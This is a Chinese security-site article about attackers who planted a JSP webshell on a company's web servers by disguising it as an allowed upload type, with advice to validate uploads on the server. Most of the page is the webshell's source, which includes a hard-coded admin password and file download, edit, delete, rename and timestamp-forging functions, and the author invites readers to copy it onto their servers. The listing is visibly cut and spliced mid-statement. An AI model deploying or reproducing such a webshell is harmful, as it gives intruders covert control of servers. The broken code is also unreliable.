频道栏目
首页 > 安全 > 网站安全 > 正文
揭露黑客是如何通过上传一个jsp页面控制和攻击你web站点的
2015-03-02 09:48:00      个评论      
收藏   我要投稿

 前一段时间公司请业内做安全的一家公司给企业的信息化系统做了一次安全扫描,发现了很多安全隐患及系统漏洞

在做安全加固及补丁修补时笔者在web服务器上(包含unix和windows平台)发现了一个名叫shell.jsp的jsp页面,于是把他拿下来放在测试服务器运行发现原来这个jsp具备在windows和unix平台上通过web界面控制你的整个web容器甚至你的主机。但是我们已经通过js控制这种格式的文件上传他们怎么又传了上去了?通过查阅相关文档了解到原来他们是通过将该该jsp页面伪装成白名单中的允许上传的文件格式绕过检查脚本后再改回成jsp成功上传到服务器最终达到完全控制服务器的。所以笔者强烈建议企业关键系统所有的安全检查工作应在服务器端完成,万不得以不要再客户端完成该工作。现分享一下该jsp页面的代码,感兴趣的同学可以将代码copy到你的服务器并保存为jsp样式即可。参考代码:

该页面的登录账号:admin 密码:feng123

<%@page import="java.util.*,java.io.*,java.sql.*,java.util.zip.*,java.lang.reflect.*,java.net.*,javax.servlet.jsp.*"%>

<%@page contentType="text/html;charset=GBK"%>

<%@page pageEncoding="gb2312"%>

<%!

final String APP_NAME="MyBlog jsp Manage-System 1.0";

int portListen=5000;//set the httpproxy port

boolean openHttpProxy=false;//set the httpproxy load-on-start-up

%>

<%

    session.setMaxInactiveInterval(6000);

    final String WEB_SITE=folderReplace(application.getRealPath("/"));

    final String URL=request.getRequestURI();

    if(session.getAttribute("ID")==null){

        // the user and pass  field  

        String username="admin";

        String password="feng123";

        // the user and pass  field  

        if(request.getParameter("LName")!=null&&request.getParameter("LPass")!=null&&request.getParameter("LName").equals(username)&&request.getParameter("LPass").equals(password)){

            session.setAttribute("ID","1");

            response.sendRedirect(URL);

        }else{

            out.println("<center style=font-size:12px><br><br>"+APP_NAME+"<br><br>" +

                       "<form name=login method=post>username:<input name=LName type=text size=15><br>" +

                    "password:<input name=LPass type=password size=15><br><input type=submit value=Login></form></center>");

        }

        return;

    }

%>

<html>

<head>

<meta http-equiv=Content-Type content="text/html; charset=gb2312">

<title><%=APP_NAME%></title>

<style type="text/css">

 body,td{font-size: 12px;}

table{T:expression(this.border='1',this.borderColorLight='Black',this.borderColorDark='White');}

 input,select{font-size:12px;}

 body{margin-left:0px;margin-top:0px;margin-right:0px;margin-bottom:0px;}

 td{white-space:nowrap;}

 a{color:black;text-decoration:none;}

</style>

<script>

    Top=top.address;

    function downFile(file){

        Top.Filename.value=file;

        Top.Action.value="D";

        Top.submit();

    }

    function checkUrl(){

        top.address.Action.value="F";

        top.address.submit();

    }

    function editFile(file){

        top.address.Action.value="E";

        top.address.Filename.value=file;

        top.address.submit();

    }

    function delFile(file){

        top.address.Action.value="R";

        top.address.Filename.value=file;

        top.address.submit();

    }

    function reName(file){

        if((Rname=prompt("rename to?",file))!=""&&Rname!=null){

            Top.Action.value="N";

            top.address.Filename.value=file+"|"+Rname;

            Top.submit();

        }

    }

    function copyFile(file){

        if((Rname=prompt("copy to?",file))!=""&&Rname!=null){

            Top.Action.value="P";

            top.address.Filename.value=file+"|"+Rname;

            Top.submit();

        }

    }

    function setDate(file){

        document.write("Change date:<br><form method='post' action='?Action=dateChange'>");

        document.write("filename:<input name='Filename' type='text' size=60 readonly value='"+file+"'><br>");

        document.write("Year:<select name='year'>");

        for(i=1970;i<=2050;i++){

            document.write("<option value="+i+">"+i+"</option>");

        }

        document.write("</select>");

        document.write("Month:<select name='month'>");

        for(i=1;i<=12;i++){

            document.write("<option value="+i+">"+i+"</option>");

        }

        document.write("</select>");

        document.write("Day:<select name='day'>");

        for(i=1;i<=31;i++){

            document.write("<option value="+i+">"+i+"</option>");

        }

        document.write("</select>");

        document.write("<input name='Action' type='button' :systemTools(out);break;

            default:

                mainForm(WEB_SITE,out);break;

        }

    }catch(Exception e){

    }

    out.print("</body></html>");

    out.close();


%>

<%!

//the main framwork

void mainForm(String web_Site,jspWriter out)throws Exception{

    out.print("<table width=100% height=100% border=0 bgcolor=menu>");

    out.print("<tr><td height=30 colspan=2>");

    out.print("<table width=100% height=25 border=0>");

    out.print("<form name=address method=post target=FileFrame function");

 

}

//=========================================//

%> 

<%!

String encodeChange(String str)throws Exception{

    if(str==null)

        return null;

    else

        return new String(str.getBytes("ISO-8859-1"),"gb2312");

}

String folderReplace(String folder){

    return folder.replace('\\','/');

}

String fOperation(boolean f,String file){

    if(f)

        return "<a href=\"javascript:delFile('"+folderReplace(file)+"')\">Delete</a> <a href=\"javascript:reName('"+folderReplace(file)+"')\">Rename</a> <a href=\"javascript:setDate('"+folderReplace(file)+"')\">setDate</a> <a href=\"javascript:zipFile('"+folderReplace(file)+"')\">Zip</a>";

    else

        return "<a href=\"javascript:delFile('"+folderReplace(file)+"')\">Delete</a> <a href=\"javascript:reName('"+folderReplace(file)+"')\">Rename</a> <a href=\"javascript:setDate('"+folderReplace(file)+"')\">setDate</a> <a href=\"javascript:copyFile('"+folderReplace(file)+"')\">Copy</a> <a href=\"javascript:editFile('"+folderReplace(file)+"')\">Edit</a> <a href=\"javascript:downFile('"+folderReplace(file)+"');\">Down</a>";

}

String getSize(long size){

    if(size>=1024*1024*1024){

        return new Long(size/1073741824L)+"G";

    }else if(size>=1024*1024){

        return new Long(size/1048576L)+"M";

    }else if(size>=1024){

        return new Long(size/1024)+"K";

    }else

        return size+"B";

}

String ico(int num){//ico

    return "<font face=wingdings size=3>&#"+num+"</font>";

}

String htmlEntity(String htmlCode){//html uncode

 htmlCode=htmlCode.replaceAll("&","&");

 htmlCode=htmlCode.replaceAll("<","<");

 return htmlCode.replaceAll(">",">");

}

%>

 

点击复制链接 与好友分享!回本站首页
相关TAG标签 黑客 站点 页面
上一篇:完美某分站存储xss漏洞已劫持后台权限
下一篇:51汽车网任意用户密码修改漏洞
相关文章
图文推荐
点击排行

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站